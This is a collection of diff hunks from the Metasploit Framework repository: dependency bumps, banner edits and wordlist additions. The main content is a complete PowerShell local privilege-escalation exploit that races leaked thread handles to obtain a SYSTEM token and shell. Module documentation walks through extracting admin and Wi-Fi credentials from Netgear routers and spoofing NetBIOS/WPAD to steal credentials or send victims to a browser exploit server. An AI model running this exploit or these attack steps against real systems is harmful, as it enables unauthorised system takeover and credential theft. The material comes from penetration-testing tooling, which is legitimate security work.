|
||||
mime-types (3.0)
|
||||
mime-types (3.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2016.0221)
|
||||
mini_portile2 (2.0.0)
|
||||
minitest (5.8.4)
|
||||
msgpack (0.7.6)
|
||||
multi_json (1.12.0)
|
||||
mime-types-data (3.2016.0521)
|
||||
mini_portile2 (2.1.0)
|
||||
minitest (5.9.0)
|
||||
msgpack (1.0.0)
|
||||
multi_json (1.12.1)
|
||||
multi_test (0.1.2)
|
||||
multipart-post (2.0.0)
|
||||
net-ssh (3.2.0)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.7.2)
|
||||
mini_portile2 (~> 2.0.0.rc2)
|
||||
nokogiri (1.6.8)
|
||||
mini_portile2 (~> 2.1.0)
|
||||
pkg-config (~> 1.1.7)
|
||||
octokit (4.3.0)
|
||||
sawyer (~> 0.7.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
@@ -175,11 +190,12 @@ GEM
|
||||
pcaprub (0.12.4)
|
||||
pg (0.18.4)
|
||||
pg_array_parser (0.0.9)
|
||||
pkg-config (1.1.7)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.10.3)
|
||||
pry (0.10.4)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
slop (~> 3.4)
|
||||
@@ -194,35 +210,46 @@ GEM
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.3)
|
||||
loofah (~> 2.0)
|
||||
railties (4.2.6)
|
||||
actionpack (= 4.2.6)
|
||||
activesupport (= 4.2.6)
|
||||
railties (4.2.7)
|
||||
actionpack (= 4.2.7)
|
||||
activesupport (= 4.2.7)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (11.1.2)
|
||||
rake (11.2.2)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
recog (2.0.21)
|
||||
nokogiri
|
||||
redcarpet (3.3.4)
|
||||
rex-java (0.1.2)
|
||||
rex-powershell (0.1.0)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.0)
|
||||
rex-text
|
||||
rex-registry (0.1.0)
|
||||
rex-struct2 (0.1.0)
|
||||
rex-text (0.1.1)
|
||||
rex-zip (0.1.0)
|
||||
rex-text
|
||||
rkelly-remix (0.0.6)
|
||||
robots (0.10.1)
|
||||
rspec-core (3.4.4)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-expectations (3.4.0)
|
||||
rspec-core (3.5.1)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-expectations (3.5.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-mocks (3.4.1)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-mocks (3.5.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-rails (3.4.2)
|
||||
actionpack (>= 3.0, < 4.3)
|
||||
activesupport (>= 3.0, < 4.3)
|
||||
railties (>= 3.0, < 4.3)
|
||||
rspec-core (~> 3.4.0)
|
||||
rspec-expectations (~> 3.4.0)
|
||||
rspec-mocks (~> 3.4.0)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-support (3.4.1)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-rails (3.5.1)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.5.0)
|
||||
rspec-expectations (~> 3.5.0)
|
||||
rspec-mocks (~> 3.5.0)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-support (3.5.0)
|
||||
rubyntlm (0.6.0)
|
||||
rubyzip (1.2.0)
|
||||
sawyer (0.7.0)
|
||||
@@ -230,23 +257,24 @@ GEM
|
||||
faraday (~> 0.8, < 0.10)
|
||||
shoulda-matchers (3.1.1)
|
||||
activesupport (>= 4.0.0)
|
||||
simplecov (0.11.2)
|
||||
simplecov (0.12.0)
|
||||
docile (~> 1.1.0)
|
||||
json (~> 1.8)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.0)
|
||||
slop (3.6.0)
|
||||
sqlite3 (1.3.11)
|
||||
sshkey (1.8.0)
|
||||
thor (0.19.1)
|
||||
thread_safe (0.3.5)
|
||||
timecop (0.8.1)
|
||||
tzinfo (1.2.2)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2016.4)
|
||||
tzinfo-data (1.2016.6)
|
||||
tzinfo (>= 1.0.0)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.8.7.6)
|
||||
yard (0.9.0)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
**This should never appear in Metasploit Framework's master branch!**
|
||||
|
||||
The components under the unstable-* directories are unstable, in that
|
||||
they are untested, unverified, or otherwise incomplete. Many may be
|
||||
useful, but all require some level of work to get into the Metasploit
|
||||
master branch.
|
||||
|
||||
In order to load the modules specifically, use:
|
||||
|
||||
$ ./msfconsole -m unstable-modules/
|
||||
|
||||
Unstable scripts and plugins may be referenced by full pathname
|
||||
normally.
|
||||
|
||||
In order to help move these out of unstable and into the master
|
||||
branch, please fork the Metasploit framework project and send pull
|
||||
requests with your fixes back to the unstable branch. If you're
|
||||
reading this, you already probably have a GitHub account and are
|
||||
already familiar with the mechanics of forking and branching.
|
||||
Specifically, you probably know everything discussed on:
|
||||
|
||||
https://github.com/rapid7/metasploit-framework/wiki
|
||||
|
||||
Thanks for taking a look at these unstable modules!
|
||||
|
||||
- Tod Beardsley, todb[at]metasploit[dot]com
|
||||
|
||||
+334
@@ -0,0 +1,334 @@
|
||||
# Copyright (c) 2016, Ruben Booren (@FuzzySec)
|
||||
# All rights reserved
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public Int32 cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public Int32 dwX;
|
||||
public Int32 dwY;
|
||||
public Int32 dwXSize;
|
||||
public Int32 dwYSize;
|
||||
public Int32 dwXCountChars;
|
||||
public Int32 dwYCountChars;
|
||||
public Int32 dwFillAttribute;
|
||||
public Int32 dwFlags;
|
||||
public Int16 wShowWindow;
|
||||
public Int16 cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SQOS
|
||||
{
|
||||
public int Length;
|
||||
public int ImpersonationLevel;
|
||||
public int ContextTrackingMode;
|
||||
public bool EffectiveOnly;
|
||||
}
|
||||
|
||||
public static class Advapi32
|
||||
{
|
||||
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
|
||||
public static extern bool CreateProcessWithLogonW(
|
||||
String userName,
|
||||
String domain,
|
||||
String password,
|
||||
int logonFlags,
|
||||
String applicationName,
|
||||
String commandLine,
|
||||
int creationFlags,
|
||||
int environment,
|
||||
String currentDirectory,
|
||||
ref STARTUPINFO startupInfo,
|
||||
out PROCESS_INFORMATION processInformation);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool SetThreadToken(
|
||||
ref IntPtr Thread,
|
||||
IntPtr Token);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenThreadToken(
|
||||
IntPtr ThreadHandle,
|
||||
int DesiredAccess,
|
||||
bool OpenAsSelf,
|
||||
out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenProcessToken(
|
||||
IntPtr ProcessHandle,
|
||||
int DesiredAccess,
|
||||
ref IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public extern static bool DuplicateToken(
|
||||
IntPtr ExistingTokenHandle,
|
||||
int SECURITY_IMPERSONATION_LEVEL,
|
||||
ref IntPtr DuplicateTokenHandle);
|
||||
}
|
||||
|
||||
public static class Kernel32
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint GetLastError();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern IntPtr GetCurrentThread();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern int GetThreadId(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern int GetProcessIdOfThread(IntPtr handle);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int SuspendThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError=true)]
|
||||
public static extern int ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool TerminateProcess(
|
||||
IntPtr hProcess,
|
||||
uint uExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern bool DuplicateHandle(
|
||||
IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle,
|
||||
IntPtr hTargetProcessHandle,
|
||||
ref IntPtr lpTargetHandle,
|
||||
int dwDesiredAccess,
|
||||
bool bInheritHandle,
|
||||
int dwOptions);
|
||||
}
|
||||
|
||||
public static class Ntdll
|
||||
{
|
||||
[DllImport("ntdll.dll", SetLastError=true)]
|
||||
public static extern int NtImpersonateThread(
|
||||
IntPtr ThreadHandle,
|
||||
IntPtr ThreadToImpersonate,
|
||||
ref SQOS SecurityQualityOfService);
|
||||
}
|
||||
"@
|
||||
|
||||
function Get-ThreadHandle {
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
|
||||
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
|
||||
$path1 = $env:windir
|
||||
$path1 = "$path1\System32\cmd.exe"
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, $path1, "",
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
|
||||
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
|
||||
$lpTargetHandle = [IntPtr]::Zero
|
||||
$CallResult = [Kernel32]::DuplicateHandle(
|
||||
$ProcessInfo.hProcess, 0x4,
|
||||
[Kernel32]::GetCurrentProcess(),
|
||||
[ref]$lpTargetHandle, 0, $false,
|
||||
0x00000002)
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
|
||||
$lpTargetHandle
|
||||
}
|
||||
|
||||
function Get-SystemToken {
|
||||
echo "`n[?] Trying thread handle: $Thread"
|
||||
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
|
||||
|
||||
$CallResult = [Kernel32]::SuspendThread($Thread)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] $Thread is a bad thread, moving on.."
|
||||
Return
|
||||
} echo "[+] Thread suspended"
|
||||
|
||||
echo "[>] Wiping current impersonation token"
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
|
||||
if (!$CallResult) {
|
||||
echo "[!] SetThreadToken failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[>] Building SYSTEM impersonation token"
|
||||
# SecurityQualityOfService struct
|
||||
$SQOS = New-Object SQOS
|
||||
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
|
||||
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
|
||||
# Undocumented API's, I like your style Microsoft ;)
|
||||
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
|
||||
if ($CallResult -ne 0) {
|
||||
echo "[!] NtImpersonateThread failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
$script:SysTokenHandle = [IntPtr]::Zero
|
||||
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
|
||||
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
|
||||
if (!$CallResult) {
|
||||
echo "[!] OpenThreadToken failed, moving on.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
echo "[+] Thread resumed!"
|
||||
Return
|
||||
}
|
||||
|
||||
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
|
||||
echo "[+] Resuming thread.."
|
||||
$CallResult = [Kernel32]::ResumeThread($Thread)
|
||||
}
|
||||
|
||||
# main() <--- ;)
|
||||
|
||||
# Check logical processor count, race condition requires 2+
|
||||
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
|
||||
if ($([System.Environment]::ProcessorCount) -lt 2) {
|
||||
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
|
||||
Return
|
||||
}
|
||||
|
||||
# Create array for Threads & TID's
|
||||
$ThreadArray = @()
|
||||
$TidArray = @()
|
||||
|
||||
echo "[>] Duplicating CreateProcessWithLogonW handles.."
|
||||
# Loop Get-ThreadHandle and collect thread handles with a valid TID
|
||||
for ($i=0; $i -lt 500; $i++) {
|
||||
$hThread = Get-ThreadHandle
|
||||
$hThreadID = [Kernel32]::GetThreadId($hThread)
|
||||
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
|
||||
if ($TidArray -notcontains $hThreadID) {
|
||||
$TidArray += $hThreadID
|
||||
if ($hThread -ne 0) {
|
||||
$ThreadArray += $hThread # This is what we need!
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ($($ThreadArray.length) -eq 0) {
|
||||
echo "[!] No valid thread handles were captured, exiting!"
|
||||
Return
|
||||
} else {
|
||||
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
|
||||
echo "`n[?] Thread handle list:"
|
||||
$ThreadArray
|
||||
}
|
||||
|
||||
echo "`n[*] Sniffing out privileged impersonation token.."
|
||||
foreach ($Thread in $ThreadArray){
|
||||
|
||||
# Get handle to SYSTEM access token
|
||||
Get-SystemToken
|
||||
|
||||
echo "`n[*] Sniffing out SYSTEM shell.."
|
||||
echo "`n[>] Duplicating SYSTEM token"
|
||||
$hDuplicateTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
|
||||
|
||||
# Simple PS runspace definition
|
||||
echo "[>] Starting token race"
|
||||
$Runspace = [runspacefactory]::CreateRunspace()
|
||||
$StartTokenRace = [powershell]::Create()
|
||||
$StartTokenRace.runspace = $Runspace
|
||||
$Runspace.Open()
|
||||
[void]$StartTokenRace.AddScript({
|
||||
Param ($Thread, $hDuplicateTokenHandle)
|
||||
while ($true) {
|
||||
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
|
||||
}
|
||||
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
|
||||
$AscObj = $StartTokenRace.BeginInvoke()
|
||||
|
||||
echo "[>] Starting process race"
|
||||
# Adding a timeout (10 seconds) here to safeguard from edge-cases
|
||||
$SafeGuard = [diagnostics.stopwatch]::StartNew()
|
||||
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
|
||||
# StartupInfo Struct
|
||||
$StartupInfo = New-Object STARTUPINFO
|
||||
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
||||
|
||||
# ProcessInfo Struct
|
||||
$ProcessInfo = New-Object PROCESS_INFORMATION
|
||||
|
||||
# CreateProcessWithLogonW --> lpCurrentDirectory
|
||||
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
||||
|
||||
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
||||
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
||||
"user", "domain", "pass",
|
||||
0x00000002, $cmd, $args1,
|
||||
0x00000004, $null, $GetCurrentPath,
|
||||
[ref]$StartupInfo, [ref]$ProcessInfo)
|
||||
$hTokenHandle = [IntPtr]::Zero
|
||||
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
|
||||
|
||||
# If we can't open the process token it's a SYSTEM shell!
|
||||
if (!$CallResult) {
|
||||
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
|
||||
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
Return
|
||||
}
|
||||
|
||||
# Clean up suspended process
|
||||
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
||||
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
||||
}
|
||||
|
||||
# Kill runspace & stopwatch if edge-case
|
||||
$StartTokenRace.Stop()
|
||||
$SafeGuard.Stop()
|
||||
}
|
||||
exit
|
||||
Binary file not shown.
@@ -9,10 +9,25 @@ function ajax_download(oArg) {
|
||||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||||
}
|
||||
|
||||
xmlHttp.open(oArg.method, oArg.path, false);
|
||||
xmlHttp.send(oArg.data);
|
||||
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
||||
return xmlHttp.responseText;
|
||||
xmlHttp.open(oArg.method, oArg.path, !!oArg.cb);
|
||||
|
||||
if (oArg.cb) {
|
||||
xmlHttp.onreadystatechange = function() {
|
||||
if (xmlHttp.readyState == 4) {
|
||||
oArg.cb.apply(this);
|
||||
}
|
||||
};
|
||||
|
||||
xmlHttp.send(oArg.data);
|
||||
}
|
||||
return null;
|
||||
else {
|
||||
xmlHttp.send(oArg.data);
|
||||
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
||||
return xmlHttp.responseText;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return xmlHttp;
|
||||
}
|
||||
@@ -15,5 +15,5 @@
|
||||
| %bld[ OK ]%clr |
|
||||
|______________________________________________________________________________|
|
||||
| |
|
||||
| http://metasploit.pro |
|
||||
| http://metasploit.com |
|
||||
|______________________________________________________________________________|%clr
|
||||
|
||||
@@ -18,4 +18,4 @@
|
||||
%bluMMMMMMMMMMNm,%clr %blueMMMMMNMMNMM%clr
|
||||
%bluMMMMNNMNMMMMMNx%clr %bluMMMMMMNMMNMMNM%clr
|
||||
%bluMMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM%clr
|
||||
%clr%bld http://metasploit.pro
|
||||
%clr%bld http://metasploit.com
|
||||
|
||||
@@ -27,4 +27,4 @@
|
||||
################################################################################
|
||||
# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
|
||||
################################################################################
|
||||
http://metasploit.pro%clr
|
||||
http://metasploit.com%clr
|
||||
|
||||
@@ -27,4 +27,4 @@
|
||||
# # ### # # ##
|
||||
########################
|
||||
## ## ## ##
|
||||
http://metasploit.pro%clr
|
||||
http://metasploit.com%clr
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% % %%%%%%%% %%%%%%%%%%% http://metasploit.pro %%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% % %%%%%%%% %%%%%%%%%%% http://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
@@ -23,4 +23,4 @@
|
||||
; ,''-,;' ``-
|
||||
``-..__``--`
|
||||
|
||||
http://metasploit.pro%clr
|
||||
http://metasploit.com%clr
|
||||
|
||||
@@ -1004,3 +1004,4 @@ raspberry
|
||||
74k&^*nh#$
|
||||
arcsight
|
||||
MargaretThatcheris110%SEXY
|
||||
karaf
|
||||
|
||||
@@ -40,6 +40,7 @@ hplip
|
||||
informix
|
||||
install
|
||||
irc
|
||||
karaf
|
||||
kernoops
|
||||
libuuid
|
||||
list
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The following list is a non-exhaustive list of vulnerable Netgear devices:
|
||||
1. R6300v2 < [1.0.3.28](http://kb.netgear.com/app/answers/detail/a_id/28372)
|
||||
2. WNDR3300 - V1.0.45 (current, confirmed vuln)
|
||||
3. WNDR3700v1 - 1.0.7.98, 1.0.16.98 (confirmed vuln)
|
||||
4. WNDR3700v2 - 1.0.1.14 (EOL, confirmed vuln)
|
||||
5. WNDR3700v4 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28355)
|
||||
6. WNDR3800 - 1.0.0.48 (EOL, confirmed vuln)
|
||||
7. WNDR4300 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28037)
|
||||
8. WNR1000v2 - 1.0.1.1, 1.1.2.58 (EOL, confirmed vuln)
|
||||
9. WNR2000v3 < [1.1.2.12](http://kb.netgear.com/app/answers/detail/a_id/30024)
|
||||
10. WNR2200 < [1.0.1.96](http://kb.netgear.com/app/answers/detail/a_id/28036)
|
||||
11. WNR2500 < [1.0.0.32](http://kb.netgear.com/app/answers/detail/a_id/28351)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/admin/http/netgear_soap_password_extractor```
|
||||
3. Do: ```set rhost <ip>```
|
||||
4. Do: ```run```
|
||||
5. You should get admin info on the device
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example run against wnr2000v3 with firmware 1.1.2.10:
|
||||
|
||||
```
|
||||
msf > use auxiliary/admin/http/netgear_soap_password_extractor
|
||||
msf auxiliary(netgear_soap_password_extractor) > set rhost 192.168.1.1
|
||||
rhost => 192.168.1.1
|
||||
msf auxiliary(netgear_soap_password_extractor) > run
|
||||
|
||||
[*] Trying to access the configuration of the device
|
||||
[*] Extracting Firmware version...
|
||||
[+] Model wnr2000v3 found
|
||||
[+] Firmware version V1.1.2.10 found
|
||||
[+] Device details downloaded to: /root/.msf4/loot/20160706212637_default_192.168.1.1_netgear_soap_dev_000157.txt
|
||||
[*] Extracting credentials...
|
||||
[*] Credentials found, extracting...
|
||||
[+] admin / password credentials found
|
||||
[+] Account details downloaded to: /root/.msf4/loot/20160706212637_default_192.168.1.1_netgear_soap_acc_387111.txt
|
||||
[*] Extracting Wifi...
|
||||
[+] Wifi SSID: NETGEAR44
|
||||
[+] Wifi Encryption: WPA2-PSK
|
||||
[*] Extracting WPA Keys...
|
||||
[+] Wifi Password: netgearpassword22
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,122 @@
|
||||
netbios_spoof continuously spams NetBIOS responses to a target for given hostname, causing the
|
||||
target to cache a malicious address for this name. By default, the module will attempt to poison
|
||||
WPAD, forcing the target system to communicate with a fake server that can be leveraged to steal
|
||||
sensitive information, or obtain arbitrary code execution.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Windows is the most ideal target because it supports WPAD by default.
|
||||
|
||||
## Options
|
||||
|
||||
**NBADDR**
|
||||
|
||||
The address that the NetBIOS name (NBNAME) should resolve to.
|
||||
|
||||
**NBNAME**
|
||||
|
||||
The NetBIOS name to spoof a reply for.
|
||||
|
||||
**PPSRATE**
|
||||
|
||||
The rate at which to send NetBIOS replies.
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Credential Collection Attack Using Targeted NetBIOS Spoofing:**
|
||||
|
||||
The following example uses http_basic, but other modules (such as http_ntlm) also applies.
|
||||
|
||||
Step 1: Start the first Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/server/capture/http_basic```
|
||||
3. ```set REALM google.com```
|
||||
4. ```set URIPATH /```
|
||||
5. ```run```
|
||||
|
||||
Step 2: Start the second Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/admin/netbios/netbios_spoof```
|
||||
3. ```set NBADDR [IP to fake HTTP auth server]```
|
||||
4. ```set PPSRATE 30000```
|
||||
5. ```set RHOST [Target Host]```
|
||||
6. ```run```
|
||||
|
||||
Step 3: On the victim machine:
|
||||
|
||||
1. Make sure IE automatically detects settings (under LAN settings)
|
||||
2. Start IE, as soon as it opens, IE should try to authenticate.
|
||||
|
||||
If the spoofed name has already been cached, you can do this to flush. And then next time IE will
|
||||
be asked for credentials again.
|
||||
|
||||
```
|
||||
ipconfig /flushdns
|
||||
```
|
||||
|
||||
**Arbitrary Code Execution Using Targeted NetBIOS Spoofing:**
|
||||
|
||||
The following example will spoof WPAD and causes google.com to redirect to an exploit server.
|
||||
|
||||
Step 1: Start the first Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/server/browser_autopwn2```
|
||||
3. ```set SRVPORT 8181```
|
||||
4. ```run```
|
||||
|
||||
Remember the BrowserAutoPwn URL, you will need this info for the proxy configuration file.
|
||||
|
||||
Step 2: Install [Squid](http://www.squid-cache.org/) Proxy server (or [SquidMan](http://squidman.net/squidman/) if you use OS X), and edit the configuration file:
|
||||
|
||||
First, uncomment these settings if they are found in the file:
|
||||
|
||||
* http_access deny all
|
||||
* http_access deny !Safe_ports
|
||||
* http_access deny CONNECT !SSL_ports
|
||||
* http_access deny to_localhost
|
||||
* http_access deny all
|
||||
* always_direct deny all
|
||||
|
||||
Second, add the following (make sure the change MyNetwork setting, and update the BrowserAutoPwn
|
||||
URL field:
|
||||
|
||||
```
|
||||
acl MyNetwork src 192.168.1.0/24
|
||||
acl BLKSite dstdomain .google.com
|
||||
deny_info [BrowserAutoPwn URL] all
|
||||
http_reply_access deny BLKSite all
|
||||
http_access allow MyNetwork
|
||||
```
|
||||
|
||||
Step 3: Start the second Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/server/wpad```
|
||||
3. ```set PROXY [Proxy IP]```
|
||||
4. ```set PROXYPORT 8080```
|
||||
5. ```run```
|
||||
|
||||
Step 4: Start the third Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/admin/netbios/netbios_spoof```
|
||||
3. ```set NBADDR [IP to fake HTTP server]```
|
||||
4. ```set PPSRATE 30000```
|
||||
5. ```set RHOST [Target Host]```
|
||||
6. ```run```
|
||||
|
||||
Step 5: On the victim machine:
|
||||
|
||||
1. Make sure IE automatically detects settings (under LAN settings)
|
||||
2. Start IE
|
||||
